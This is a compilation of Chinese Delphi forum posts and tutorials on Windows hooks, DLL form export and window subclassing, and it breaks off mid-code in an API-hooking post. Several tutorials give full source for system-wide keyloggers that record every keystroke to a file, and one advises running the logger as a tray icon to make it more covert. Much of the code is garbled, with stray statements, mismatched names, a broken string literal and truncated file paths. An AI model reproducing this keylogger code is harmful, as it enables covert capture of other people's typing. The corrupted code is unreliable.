function GetDriverInfo: string;

var

temp, Index, numBytes, numEntries: DWORD;

buf : TPDword;

driverInfo : ^TDriverInfo;

begin

if @NtQuerySystemInformation = nil then

NtQuerySystemInformation := GetProcAddress(GetModuleHandle('ntdll.dll'),

'NtQuerySystemInformation');

// Obtain required buffer size

NtQuerySystemInformation(DRIVER_INFORMATION, @temp, 0, @numBytes);

// Allocate buffer

buf := AllocMem(numBytes * 2);

NtQuerySystemInformation(DRIVER_INFORMATION, buf, numBytes * 2, @numBytes);

numEntries := buf^;

driverInfo := Pointer(DWORD(buf) + 12);

Result := '';

for Index := 1 to numEntries do

begin

Result := Result + #$D#$A + 'Address: $' + IntToHex(DWORD(driverInfo^.Address), 8) +

'Name: "' + (driverInfo^.Name) + '"';

Inc(driverInfo);

end;

Delete(Result, 1, 2);

FreeMem(buf);

end;


DLL中导出窗体指南

作为一个经常被提起的问题，很多人不知道怎么来从DLL中导出窗体，特别是MDI的子窗体，因此Kingron愿意在这里把一些经验写出来给大家分享，让大家在碰到类似的问题的时候，少走些弯路。

大家知道，DLL有两种加载方式，至于动态的，和静态的，稍微有点儿区别。动态的加载，大家可以参考Torry's Delphi Page上面的例子，其中有一个MDI的例子，非常简单的，很好用。我的例子以静态加载为主。

据目前来看，我们要在DLL中导出这个Form的话，必须通过DLL导出函数来做到，但是我们知道DLL工程的Application和Host程序的Application是有区别的，对于一般的应用程序来说，Application是VCL固定的，一般不会修改Application对象指针，但是在DLL中，我们需要使用窗体等，或者使用Application对象的时候，使DLL的Application和Host程序一样，这样才不至于混淆。以下面的例子为例，如果不修改Application对象，那么Host程序退出的时候，可能出现AV错误！例如：

在Host中Export一个函数：

function DllFunction(App:TApplication;PForm:TForm):TForm2;stdcall;

begin

Result :=TForm2.Create(PForm);

end;

那么主程序推出的时候，很可能发生AV错误。

下面一步一步来做：

首先，我们需要一个DLL工程，在IDE中New一个DLL，然后New一个Form，Save All File，工程名为DLL.DPR，Form的Unit文件为DLLForm.pas，窗体类名为FrmDLLChild。然后随便设计这个DLLChild Form即可。

然后，在DLL.DPR中修改代码，添加：

library Dll;

uses

SysUtils,windows,

Classes,Controls,Forms,

DllForm in 'DllForm.pas' ;

{$R *.res}

var

DllApp:TApplication;

{ 用于初始化：保存DLL本身的Application，然后设置DLL的Application指向Host的Application }

procedure InitDLL(App:TApplication);stdcall;

begin

DllApp:=Application;

Application:=App;

end;

{ 善后工作：恢复DLL原来的Application }

procedure FreeDLL;stdcall;

begin

Application:=DllApp;

end;

{ 返回一个窗体对象，这是DLL的主要功能 }

function GetDllChildForm(Parent:TComponent):TFrmDLLChild;stdcall;

begin

Result := TFrmDLLChild.Create(Parent);

end;

exports

InitDLL,FreeDLL,GetDllChildForm;

begin

end.

至此DLL已经完成了，在使用DLL的时候，需要注意：首先必须调用InitDLL，并且传递主程序的Application作为参数，否则主程序退出的时候，会报AV错误。

主程序调用如下：

为了简单方便地使用，可以把DLL中包含窗体的那个单元Use进来，如果不喜欢，用类型强制也可。

function GetDllChildForm(Parent:TComponent):TFrmDllChild;stdcall;external 'dll.dll';

procedure InitDLL(App:TApplication);stdcall;external 'dll.dll';

procedure FreeDLL;stdcall;external 'dll.dll';

procedure TForm1.FormCreate(Sender: TObject);

begin

InitDLL(Application);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

FreeDLL;

end;

调用窗体代码：

var

DForm:TFrmDllChild;

begin

DForm :=DllFunction(Application,Self);

DForm.Show;

end;

附件中的代码完整演示了一个简单的例子。 DllProject.rar

至于动态加载的演示，请参看《MDI Child Form和DLL》


奇妙的拦截

一程序,按其主窗体上的一个按钮后,会打开另一个窗体,如该窗体已打开,

则会被设成当前窗体.现我想截获主窗体的按钮被按下的消息,这样就可能打开我的

窗体,而非该程序原来的窗体.

HWND wnd = 按钮所在窗口的句柄；

WNDPROC oldProc = SetWindowLong(wnd, GWL_WNDPROC, yourProc);

...

用完后恢复 GWL_WNDPROC。

WNDPROC yourProc(...)

{

if (那个按钮被按下) then 想干什么就干什么

else CallWndProc(oldProc);

...

}

遗憾的是，WIndows有权限检查，不允许取得其他程序WNDPROC和设置WNDPROC！如果绕过去？


请问如何取得自定义Key-HOOK的高优先级(在系统级屏蔽按键

设HOOKTYPE为WH_DEBUG.

另，我已收到你的回信，我还可以给你一些信息。

HOOKTYPE

WH_CALLWNDPROC 在SENDMESSAGE函数被调用时

WH_CALLWNDPROCRET在SENDMESSAGE函数返回之后

WH_CBT一个基于计算机的钩子调用，发生在激活、创建、关闭、极小化、极大化、搬移或改变一个窗口的大小之前，在完成一个系统命令之前、在清除一个鼠标或键盘事件之前、在设置焦点之前、以及在同步系统消息队列之前

WH_DEBUG 在任何其他过滤钩子被调用之前调用

WH_GETMESSAGE在GETMESSAGE函数已搜索到一个来自应用队列的消息时调用

WH_HARDWARE发生在当应用调用了GETMESSAGE或PEEKMESSAGE函数，且有一个非标准的硬件消息（不是鼠标和键盘事件）时

WH_JOURNALRECORD发生在当系统从系统消息队列中清除消息时

WH_JOURNALPLAYBACK用于将键盘和鼠标消息括入到系统消息队列中

WH_MOUSE发生在应用调用了GETMESSAGE或PEEKMESSAGE函数，且有一个鼠标消息等待处理

WH_MSGFILETER一个应用范围的钩子，发生在一个对话框，消息框，或菜单已接收了一个消息之后，但是该消息真正被处理之前

WH_SHELL被外壳应用程序用来从系统接受通知消息

WH_SYSMSGFILTER一个系统范围的钩子，发生在一个对话框，消息框，或菜单已接收了一个消息之后，但是该消息真正被处理之前


Windows钩子函数的详细资料

为什么选这个话题？因为跟踪MOUSE坐标很常见，容易又特别不容易，非常说明W

INDOWS95下编程的特点。

{ 如果您看不懂，请买DELPHI 2 UNLEASHED RMB133，当然他没这个程序，但有一

些写WIN HOOK必须具备的知识。本程序得到AIMING大虾的大力协助，事实上我的

程序是在他的基础上改写的，他的是从DELPHI HELP中改写出来的。调试程序花了

我两个礼拜，最好你能花同样的时间，那么你就会收获很多！ }

第一步，建一DLL，DELPHI中NEW-》DLL SAVE AS GETKEY

library getKey;

uses

uses

SysUtils,

Windows,

HookMain in 'hookmain.pas';

exports

OpenGetKeyHook,

CloseGetKeyHook,

GetPublicP;

begin

NextHook := 0;

procSaveExit := ExitProc;

DLLproc := @DLLMain;

ExitProc := @HookExit;

DLLMain(DLL_PROCESS_ATTACH);

end.

第二步，建一UNIT ，HOOK MAIN。关键在于CreateFileMapping 和 消息 WM_NCM

ouseMove, WM_MOUSEMOVE:

unit HookMain;

interface

uses Windows, Messages, Dialogs, SysUtils;

//type DataBuf = Array [1..2] of DWORD;

type mydata=record

data1:array [1..2] of DWORD;

data2:TMOUSEHOOKSTRUCT;

end;

var hObject : THandle;

pMem : Pointer;

NextHook: HHook;

procSaveExit: Pointer;

function HookHandler(iCode: Integer; wParam: WPARAM; lParam: LPARAM):

LRESULT; stdcall; export;

function OpenGetKeyHook(sender : HWND;MessageID : WORD) : BOOL; export

;

function CloseGetKeyHook: BOOL; export;

function GetPublicP : Pointer;stdcall; export;

Procedure DLLMain(dwReason:DWord); far;

procedure HookExit; far;

implementation

Procedure UnMapMem;

begin

if Assigned(pMem) then

begin

UnMapViewOfFile(pMem);

pMem := Nil

end;

end;

Procedure MapMem;

begin

hObject := CreateFileMapping($FFFFFFFF,Nil,Page_ReadWrite,0,$FFFF,pCha

r('_IOBuffer'));

if hObject = 0 then Raise Exception.Create('创建公用数据的Buffer不成功

!');

pMem := MapViewOfFile(hObject,FILE_MAP_WRITE,0,0,SizeOf(mydata));

// 1 or SizeOf(DataBuf) ????

// 创建SizeOf(DataBuf)的数据区

if not Assigned(pMem) then

begin

begin

UnMapMem;

Raise Exception.Create('创建公用数据的映射关系不成功!');

end;

end;

Procedure DLLMain(dwReason:DWord); far;

begin

Case dwReason of

DLL_PROCESS_ATTACH :

begin

pMem := nil;

hObject := 0;

MapMem; //以下的公有数据，如tHWND,tMessageID将直接使用本Buf.

end;

DLL_PROCESS_DETACH : UnMapMem;

DLL_THREAD_ATTACH,

DLL_THREAD_DETACH :; //缺省

end;

end;

procedure HookExit; far;

begin

CloseGetKeyHook;

ExitProc := procSaveExit;

end;

function GetPublicP : Pointer;export;

begin //这里引出了公用数据区的指针，你可以在你的应用程序中自由操作它。

但建议去掉此接口。

Result := pMem;

end;

function HookHandler(iCode: Integer; wParam: WPARAM; lParam: LPARAM):

LRESULT; stdcall; export;

begin

Result := 0;

If iCode < 0

Then Result := CallNextHookEx(NextHook, iCode, wParam, lParam);

// This is probably closer to what you would want to do...

case wparam of

WM_LBUTTONDOWN:

begin

end;

end;

WM_LBUTTONUP:

begin

end;

WM_LBUTTONDBLCLK:

begin

end;

WM_RBUTTONDOWN:

begin

messagebeep(1);

end;

WM_RBUTTONUP:

begin

end;

WM_RBUTTONDBLCLK:

begin

end;

WM_MBUTTONDOWN:

begin

end;

WM_MBUTTONUP:

begin

end;

end;

WM_MBUTTONDBLCLK:

begin

end;

WM_NCMouseMove, WM_MOUSEMOVE:

begin

mydata(pmem^).data2:=pMOUSEHOOKSTRUCT(lparam)^;

// messagebeep(1);

//SendMessage(DataBuf(pMem^)[1],DataBuf(pMem^)[2],wParam,lParam );

SendMessage(mydata(pMem^).data1[1],mydata(pMem^).data1[2],wParam,integ

er(@(mydata(pmem^).data2)) );

end;

end; //发送消息

end;

function OpenGetKeyHook(sender : HWND;MessageID : WORD) : BOOL; export

;

begin

Result := False;

if NextHook <> 0 then Exit; //已经安装了本钩子

// DataBuf(pMem^)[1] := Sender; //填数据区

// DataBuf(pMem^)[2] := MessageID; //填数据区

mydata(pmem^).data1[1]:=sender;

mydata(pmem^).data1[2]:=messageid;

NextHook := SetWindowsHookEx(WH_mouse, HookHandler, HInstance, 0);

Result := NextHook <> 0;

end;

function CloseGetKeyHook: BOOL; export;

begin

if NextHook <> 0 then

begin

UnhookWindowshookEx(NextHook); //把钩子链链接到下一个钩子处理上.

NextHook := 0;

end;

Result := NextHook = 0;

end;

end.

第三步，测试DLL，建一PROJECT。关键在于override WndProc

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialo

gs,

StdCtrls, ExtCtrls;

type

TForm1 = class(TForm)

uncapture: TButton;

capture: TButton;

Exit: TButton;

Panel1: TPanel;

show: TLabel;

Label1: TLabel;

counter: TLabel;

procedure ExitClick(Sender: TObject);

procedure uncaptureClick(Sender: TObject);

procedure captureClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

procedure WndProc(var Message: TMessage); override;

end;

var

Form1: TForm1;

var num : integer;

const MessageID = WM_User + 100;

implementation

{$R *.DFM}

function OpenGetKeyHook(sender : HWND;MessageID : WORD) : BOOL; extern

al 'GetKey.DLL';

function CloseGetKeyHook: BOOL; external 'GetKey.DLL';

procedure TForm1.ExitClick(Sender: TObject);

begin

close;

end;

end;

procedure TForm1.uncaptureClick(Sender: TObject);

begin

if CloseGetKeyHook then //ShowMessage('结束记录...');

show.caption:='结束记录...';

end;

procedure TForm1.captureClick(Sender: TObject);

begin

// if OpenGetKeyHook(self.Handle,MessageID) then ShowMessage('开始记录

...');

if OpenGetKeyHook(Form1.Handle,MessageID) then

//ShowMessage('开始记录...');

show.caption:='开始记录...';

num := 0;

end;

procedure TForm1.WndProc(var Message: TMessage);

var x,y:integer;

begin

if Message.Msg = MessageID then

begin

// Panel1.Caption := IntToStr(Num);

x:=PMouseHookStruct( message.lparam)^.pt.x ;

y:=PMouseHookStruct( message.lparam)^.pt.y ;

panel1.caption:='x='+inttostr(x)+' y='+inttostr(y);

inc(Num);

counter.Caption := IntToStr(Num);

end

else Inherited;

end;

end.


系统挂钩捕捉键盘操作

在WINDOWS系统下，应用程序常常要截获其他程序的消息，并加以处理（例如跟踪键盘或鼠标的按键状况等）。现在，我们假设在前台进行正常操作，在后台利用HOOK程序为系统安装一个键盘挂钩，当有按键操作时，系统发给键盘挂钩对应的消息，而这些消息被HOOK程序截获，并加以相应的处理，这样就可以监视键盘的使用状况了。

    一.实现方法

    DELPHI提供了强大的可视化集成开发环境，它使得在Windows下的应用程序开发变得更加广泛，因此我们将用DELPHI编写一个动态链接库，然后在主程序中加以调用以实现系统挂钩的设置。具体步骤如下：

    * 用DELPHI创建一个使用键盘挂钩的动态链接库HK.DLL

    * 用DELPHI编写一个使用上述DLL的可执行文件HOOK.EXE

    二．实现步骤

    1.创建动态链接库

    * 选择FILE菜单中的NEW选项，选择DLL产生一个新的模板，保存为HK.DPR

    library HK .

    uses

     SysUtils,

     Classes,

     hkproc in 'hkproc.pas'; //挂钩函数在文件中的定义

     exports //DLL的输出函数

     EnableHotKeyHook,

     DisableHotKeyHook;

    begin

     hNextHookProc :=0;

     Assign(f,'c:.txt');//将捕获的键值存入C盘的“code.txt”文件中

     Reset(f); //初始化“code.txt”文件

     procSaveExit := ExitProc; //DLL释放时解除挂钩

     ExitProc := @HotKeyHookExit;

    end.

    * 选择FILE菜单中的NEW选项，选择UNIT生成HKPROC.PAS

    unit hkproc;

    interface

    uses

     Windows,Messages;

    var

     f :file of char;

    c:char;

    i :integer;

    j :integer;

     hNextHookProc : HHook;

     procSaveExit : Pointer;

    function KeyboardHookHandler(iCode : Integer;

     wParam : WPARAM;

     lParam : LPARAM) : LRESULT; stdcall ; export;

    function EnableHotKeyHook : BOOL ; export ;

    function DisableHotKeyHook : BOOL; export ;

    procedure HotKeyHookExit ; far ;

    implementation

    function KeyboardHookHandler(iCode : Integer;

     WParam : WPARAM;

     lParam : LPARAM) : LRESULT ;stdcall ; export;

    const

     _KeyPressMask = $80000000 ;

    begin

     Result :=0;

     if iCode <0 then

     begin

     Result :=CallNextHookEx(hNextHookProc,iCode,

     wParam,lParam);

     Exit;

     end;

     if((lParam and _KeyPressMask)=0) then

     begin

     i:=getkeystate($10); //返回Shift键的状态

     j:=getkeystate($14); //返回Caps Lock键的状态

     if((j and 1)=1 )then //判断CapsLock是否按下

     begin

     //判断Shift 是否按下

     if ((i and _KeyPressMask)=_KeyPressMask) then

     begin

     if (wparam<65) then //判断是字母键还是数字键

     begin

     c:=chr(wparam-16);

     end

     else

     begin

     c:= chr(wparam+32);

     end;

     end

     else

     begin

     if (wparam<65) then

     begin

     c:=chr(wparam);

     end

     else

     begin

     c:=chr(wparam);

     end;

     end;

     end

     else

     begin

     if ((i and _KeyPressMask)=_KeyPressMask) then

     begin

     if (wparam<65) then

     begin

     c:=chr(wparam-16);

     end

     else

     begin

     c:= chr(wparam);

     end;

     end

     else

     begin

     if (wparam<65) then

     begin

     c:=chr(wparam);

     end

     else

     begin

     c:=chr(wparam+32);

     end;

     end;

     end;

     seek(f,FileSize(f));

     write(f,c); //将捕获的键码存入文件

     end;

    end;

    function EnableHotKeyHook:BOOL;export;

    begin

    Result:=False;

    if hNextHookProc <> 0 then exit;

    hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,

    KeyboardHookHandler,Hinstance,0);

    Result:=hNextHookProc <>0 ;

    end;

    function DisableHotKeyHook:BOOL; export;

    begin

     if hNextHookPRoc <> 0 then

     begin

     UnhookWindowshookEx(hNextHookProc);

     hNextHookProc:=0;

     Messagebeep(0);

     Messagebeep(0);

     end;

     Result:=hNextHookPRoc=0;

    end;

    procedure HotKeyHookExit;

    begin

     if hNextHookProc <> 0 then DisableHotKeyHook;

     close(f); //关闭文件并自动解除挂钩

     ExitProc:=procSaveExit;

    end;

    end.

    * 将程序编译后生成一个名为HK.DLL的动态链接库文件并存入“c:”目录下。

     2．创建调用DLL的EXE程序HOOK.EXE

    * 选择FILE菜单中的NEW选项，在New Items窗口中，选择Application选项。在窗体Form中，加入两个按键，一个定义为挂钩，另一个定义为解脱，同时加入一个文本框以提示挂钩的设置状况。将Unit1存为“c:.pas”，其相应的代码如下：

    unit hk;

    interface

    uses

     Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

     StdCtrls;

    type

     TForm1 = class(TForm)

     Button1: TButton;

     Button2: TButton;

     Edit1: TEdit;

     procedure Button1Click(Sender: TObject);

     procedure Button2Click(Sender: TObject);

     private

     { Private declarations }

     public

     { Public declarations }

     end;

    var

     Form1: TForm1;

    implementation

    {$R *.DFM}

    function EnableHotKeyHook : BOOL;external 'HK.dll';

    //声明HOOK . DLL中的两函数

    function DisableHotKeyHook :BOOL;external 'HK.dll';

    procedure TForm1.Button1Click(Sender: TObject);

    begin

     if EnableHotKeyHook() then

     begin

     edit1.text :='设置挂钩'

     end

    end;

    procedure TForm1.Button2Click(Sender: TObject);

    begin

     if DisableHotKeyHook() then

     begin

     edit1.Text :='挂钩解脱'

     end

    end;

    end.

    * 选取Views菜单中的Project Source，将Project1存为“c:.dpr”，其代码如下：

    program hook;

    uses

     Forms,

     hk in 'hk.pas' {Form1};

    {$R *.RES}

    begin

     Application.Initialize;

     Application.CreateForm(TForm1, Form1);

     Application.Run;

    end.

    * 编译生成HOOK.EXE 程序并存入“c:”目录下。预先用“记事本”在“c:”目录下建立CODE.TXT文件，运行HOOK程序并单击“挂钩”键，文本框提示“设置系统挂钩”，这时启动写字板等应用程序，所键入的字母和数字将被记录在CODE.TXT文件中。

    单击“解脱”键，文本框显示“挂钩解脱”，程序将停止对键盘的捕获。

    点击示意图

    三. 结束语

    将上述例子稍加改动，就可为系统安装其他类型的挂钩，同时为了增强程序的隐蔽性，可利用DELPHI中丰富的控件，将上述程序运行后，只需在屏幕右下部时钟处显示一个图标，就可以跟踪键盘等系统部件的工作状况了。

==================================================================

在许多系统中，出于安全或其它原因，常常要求随时对键盘进行监控，一个专

业的监控程序必须具备两点，一是实时；二是作为指示图标运行。实际应用中把利

用Hook（即钩子）技术编写的应用程序添加到Windows的任务栏的指示区中就能够

很好的达到这个目的。我在参考了API帮助文档基础上，根据在Delphi开发环境中

的具体实现分别对这两部分进行详细论述。

一、Hook(钩子)的实现：

Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现，若应用程序不是当前窗口时，该Hook就不起作用；如果Hook在DLL中实现，程序在运行中动态调用它，它能实时对系统进行监控。根据需要，我们采用的是在DLL中实现Hook的方式。

1．新建一个导出两个函数的DLL文件，在hookproc.pas中定义了钩子具体实现过

程。代码如下：

library keyspy;

uses

windows, messages, hookproc in 'hookproc.pas';

exports

setkeyhook,

endkeyhook;

begin

nexthookproc:=0;

procsaveexit:=exitproc;

exitproc:=@keyhookexit;

end.

2.在Hookproc.pas中实现了钩子具体过程：

unit hookproc;

interface

uses

Windows, Messages, SysUtils, Controls, StdCtrls;

var

nexthookproc:hhook;

procsaveexit:pointer;

function keyboardhook(icode:integer;wparam:wparam;

lparam:lparam):lresult;stdcall;export;

function setkeyhook:bool;export;//加载钩子

function endkeyhook:bool;export;//卸载钩子

procedure keyhookexit;far;

const

afilename='c:.txt';//将键盘输入动作写入文件中

var

debugfile:textfile;

implementation

function keyboardhookhandler(icode:integer;wparam:wparam;

lparam:lparam):lresult;stdcall;export;

begin

if icode<0 then

begin

result:=callnexthookex(hnexthookproc,icode,wparam,lparam);

exit;

end;

assignfile(debugfile,afilename);

append(debugfile);

if getkeystate(vk_return)<0 then

begin

writeln(debugfile,'');

write(debugfile,char(wparam));

end

else

write(debugfile,char(wparam));

closefile(debugfile);

result:=0;

end;

function endkeyhook:bool;export;

begin

if nexthookproc<>0 then begin

unhookwindowshookex(nexthookproc);

nexthookproc:=0;

messagebeep(0); end;

result:=hnexthookproc=0;

end;

procedure keyhookexit;far;

begin

if nexthookproc<>0 then endkeyhook;

exitproc:=procsaveexit; end;

end.

二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon，它有两个参数，一个是指向TnotifyIconData结构的指针，另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图标添加到指示区中，使其作为图标运行,增加专业特色。当程序起动后，用鼠标右键点击图标，则弹出一个菜单，可选择sethook或endhook。

unit kb;

interface

uses

Windows, Messages, SysUtils, Classes,

Graphics, Controls, Forms,

Dialogs,

StdCtrls, Menus,shellapi;

const

icon_id=1;

MI_iconevent=wm_user+1;//定义一个用户消息

type

TForm1 = class(TForm)

PopupMenu1: TPopupMenu;

sethook1: TMenuItem;

endhook1: TMenuItem;

N1: TMenuItem;

About1: TMenuItem;

Close1: TMenuItem;

Gettext1: TMenuItem;

procedure FormCreate(Sender: TObject);

procedure sethook1Click(Sender: TObject);

procedure endhook1Click(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure Close1Click(Sender: TObject);

private

{ Private declarations }

nid:tnotifyicondata;

normalicon:ticon;

public

{ Public declarations }

procedure icontray(var msg:tmessage);

message mi_iconevent;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

function setkeyhook:bool;external 'keyspy.dll';

function endkeyhook:bool;external 'keyspy.dll';

procedure tform1.icontray(var msg:tmessage);

var

pt:tpoint;

begin

if msg.lparam=wm_lbuttondown then

sethook1click(self);

if msg.LParam=wm_rbuttondown then

begin

getcursorpos(pt);

setforegroundwindow(handle);

popupmenu1.popup(pt.x,pt.y);

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

normalicon:=ticon.create;

application.title:=caption;

nid.cbsize:=sizeof(nid);

nid.wnd:=handle;

nid.uid:=icon_id;

nid.uflags:=nif_icon or nif_message or nif_tip;

nid.ucallbackmessage:=mi_iconevent;

nid.hIcon :=normalicon.handle;

strcopy(nid.sztip,pchar(caption));

nid.uFlags:=nif_message or nif_icon or nif_tip;

shell_notifyicon(nim_add,@nid);

SetWindowLong(Application.Handle,

GWL_EXSTYLE,WS_EX_TOOLWINDOW);

end;

procedure TForm1.sethook1Click(Sender: TObject);

begin

setkeyhook;

end;

procedure TForm1.endhook1Click(Sender: TObject);

begin

endkeyhook;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

nid.uFlags :=0;

shell_notifyicon(nim_delete,@nid);

end;

procedure TForm1.Close1Click(Sender: TObject);

begin

application.terminate;

end;

该程序虽然只用了几个shellai函数，但是它涉及到了在Delphi中对DLL的引

用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的

内容，我相信这篇文章能对许多Delphi的初学者有所帮助。

该程序在Win98、Delphi4.0中正常运行。


Key Hook的键盘扫描代码

来自：jbas, 时间：2002-1-24 15:42:00, ID：882324 [显示：小字体 | 大字体]

这是一个hook程序的一部分！我想知道下面的EvnMsg.paramL=20520这个“20520"怎样的到的

，如果我想监视a,b,1,2这样的数，那个evnmsg.paraml=???;哪有介绍呀。delphi找不到那个20520的定义

谢谢！

function rPro(iCode:integer;wParam:wParam;lParam:lParam):LResult;stdcall;

var EvnMsg:TEventMsg;

begin

EvnMsg:=PEventMsg(lParam)^;

if EvnMsg.message=WM_KEYDOWN then

begin

if EvnMsg.paramL=20520 then //‘↓’键被按下

showmessage('↓');

end;

end;

来自：zhangkan, 时间：2002-1-24 16:50:00, ID：882547

找到的一点,但因为周围没有相关的书和资料,不能给你好的解释.呵呵,这会儿也没时间.

不过,你可以参考这些键值了.出自jingtao.

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

StdCtrls, ExtCtrls;

type

TForm1 = class(TForm)

ListBox1: TListBox;

Button1: TButton;

Button2: TButton;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

function Keyhookresult(lP: integer; wP: integer): pchar;

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

hookkey: string;

hooktimes: word;

hHook: integer;

implementation

{$R *.DFM}

function TForm1.Keyhookresult(lP: integer; wP: integer): pchar;

begin

result := '[Print Screen]';

case lp of

10688: result := '`';

561: Result := '1';

818: result := '2';

1075: result := '3';

1332: result := '4';

1589: result := '5';

1846: result := '6';

2103: result := '7';

2360: result := '8';

2617: result := '9';

2864: result := '0';

3261: result := '-';

3515: result := '=';

4177: result := 'Q';

4439: result := 'W';

4677: result := 'E';

4946: result := 'R';

5204: result := 'T';

5465: result := 'Y';

5717: result := 'U';

5961: result := 'I';

6223: result := 'O';

6480: result := 'P';

6875: result := '[';

7133: result := ']';

11228: result := ';

7745: result := 'A';

8019: result := 'S';

8260: result := 'D';

8518: result := 'F';

8775: result := 'G';

9032: result := 'H';

9290: result := 'J';

9547: result := 'K';

9804: result := 'L';

10170: result := ';';

10462: result := '''';

11354: result := 'Z';

11608: result := 'X';

11843: result := 'C';

12118: result := 'V';

12354: result := 'B';

12622: result := 'N';

12877: result := 'M';

13244: result := ',';

13502: result := '.';

13759: result := '/';

13840: result := '[Right-Shift]';

14624: result := '[Space]';

283: result := '[Esc]';

15216: result := '[F1]';

15473: result := '[F2]';

15730: result := '[F3]';

15987: result := '[F4]';

16244: result := '[F5]';

16501: result := '[F6]';

16758: result := '[F7]';

17015: result := '[F8]';

17272: result := '[F9]';

17529: result := '[F10]';

22394: result := '[F11]';

22651: result := '[F12]';

10768: Result := '[Left-Shift]';

14868: result := '[CapsLock]';

3592: result := '[Backspace]';

3849: result := '[Tab]';

7441:

if wp > 30000 then

result := '[Right-Ctrl]'

else

result := '[Left-Ctrl]';

13679: result := '[Num /]';

17808: result := '[NumLock]';

300: result := '[Print Screen]';

18065: result := '[Scroll Lock]';

17683: result := '[Pause]';

21088: result := '[Num0]';

21358: result := '[Num.]';

20321: result := '[Num1]';

20578: result := '[Num2]';

20835: result := '[Num3]';

19300: result := '[Num4]';

19557: result := '[Num5]';

19814: result := '[Num6]';

18279: result := '[Num7]';

18536: result := '[Num8]';

18793: result := '[Num9]';

19468: result := '[*5*]';

14186: result := '[Num *]';

19053: result := '[Num -]';

20075: result := '[Num +]';

21037: result := '[Insert]';

21294: result := '[Delete]';

18212: result := '[Home]';

20259: result := '[End]';

18721: result := '[PageUp]';

20770: result := '[PageDown]';

18470: result := '[UP]';

20520: result := '[DOWN]';

19237: result := '[LEFT]';

19751: result := '[RIGHT]';

7181: result := '[Enter]';

end;

end;

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;

begin

if (peventmsg(lparam)^.message = WM_KEYDOWN) then

hookkey := hookkey+ Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);

if length(hookkey) > 55 then

begin

Form1.ListBox1.Items.Add(hookkey);

hookkey := TimeToStr(now) + ' ';

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

hooktimes := 0;

hHook := 0;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

inc(hooktimes);

if hooktimes = 1 then

begin

hookkey := TimeToStr(now) + ' ';

hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);

MessageBox(0, '键盘监视启动', '信息', MB_ICONINFORMATION + MB_OK);

end;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

UnHookWindowsHookEx(hHook);

hHook := 0;

if hooktimes <> 0 then

begin

MessageBox(0, '键盘监视关闭', '信息', MB_ICONINFORMATION + MB_OK);

end;

hooktimes := 0;

end;

end.


按键地勾子

以下是一个按键地勾子:

Intercepting The TAB and ENTER Keys

{the prototype for the new keyboard hook function}

function KeyboardHook(nCode: Integer; wParam: WPARAM;

lParam: LPARAM): LResult; stdcall;

var

Form1: TForm1;

WinHook: HHOOK; // a handle to the keyboard hook function

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

{install the keyboard hook function into the keyboard hook chain}

WinHook:=SetWindowsHookEx(WH_KEYBOARD, @KeyboardHook, 0, GetCurrentThreadID);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

{remove the keyboard hook function from the keyboard hook chain}

UnhookWindowsHookEx(WinHook);

end;

function KeyboardHook(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LResult;

begin

{if we can process the hook information...}

if (nCode>-1) then

{...was the TAB key pressed?}

if (wParam=VK_TAB) then

begin

{if so, output a beep sound}

MessageBeep(0);

{indicate that the message was processed}

Result := 1;

end

else

{...was the RETURN key pressed?}

if (wParam=VK_RETURN) then

begin

{if so, and if the key is on the up stroke, cause

the focus to move to the next control}

if ((lParam shr 31)=1) then

Form1.Perform(WM_NEXTDLGCTL, 0, 0);

{indicate that the message was processed}

Result := 1;

end

else

{otherwise, indicate that the message was not processed.}

Result := 0

else

{we must pass the hook information to the next hook in the chain}

Result := CallNextHookEx(WinHook, nCode, wParam, lParam);

end;

满意吗？分可别忘了！


API HOOK

贴子见：

http://www.csdn.net/expert/topic/39/39641.shtm

http://www.csdn.net/expert/topic/50/50840.shtm

http://x57.deja.com/threadmsg_ct.xp?AN=696933069&CONTEXT=976054538.742850612

Yes. I already posted the answer before you

asked the question, under "Answer: Hook TextOut and other API" But here it is again, for delphi 3 under windows 95

(and I've heard it works in Delphi 5 under windows 2000)

As for books about internal windows stuff, the two authors you are after are Matt Pietrek, and Jeffrey Richter. I think Jeffrey Richter's book you are after is now called something like Developing Applications for Windows,

but it used to have a different name "Advanced Windows". Actually I haven't read either of their latest books. This is all my own work and not really based on anything of theirs.

From:

Carl Kenner <carl_kenner@hotmail.com>

Tue 3:01

Subject:

Answer: Hook TextOut and other API

I finally worked out how to hook all windows functions

and replace them with my own. To demonstrate I made

a delphi program that will hook into all the TextOut

functions in all of your programs, so that all the text

displayed on the screen is in Pig Latin.

This program has only been tested on WINDOWS 95

Let me know if it works on 98 or Me or NT or 2000

Enjoy!

Carl Kenner

PS. It took me a whole year of research to work this

out, so if you give me some credit I will be happy.

=================================

library PigLatinDll;

uses

Windows,

SysUtils,

Classes,

HookTextUnit in 'HookTextUnit.pas';

function PigLatinWord(s: String): String;

Var start: String; Capitalize, AllCapitals: Boolean; i: Integer; begin

Result:=s;

if length(s)<=1 then exit;

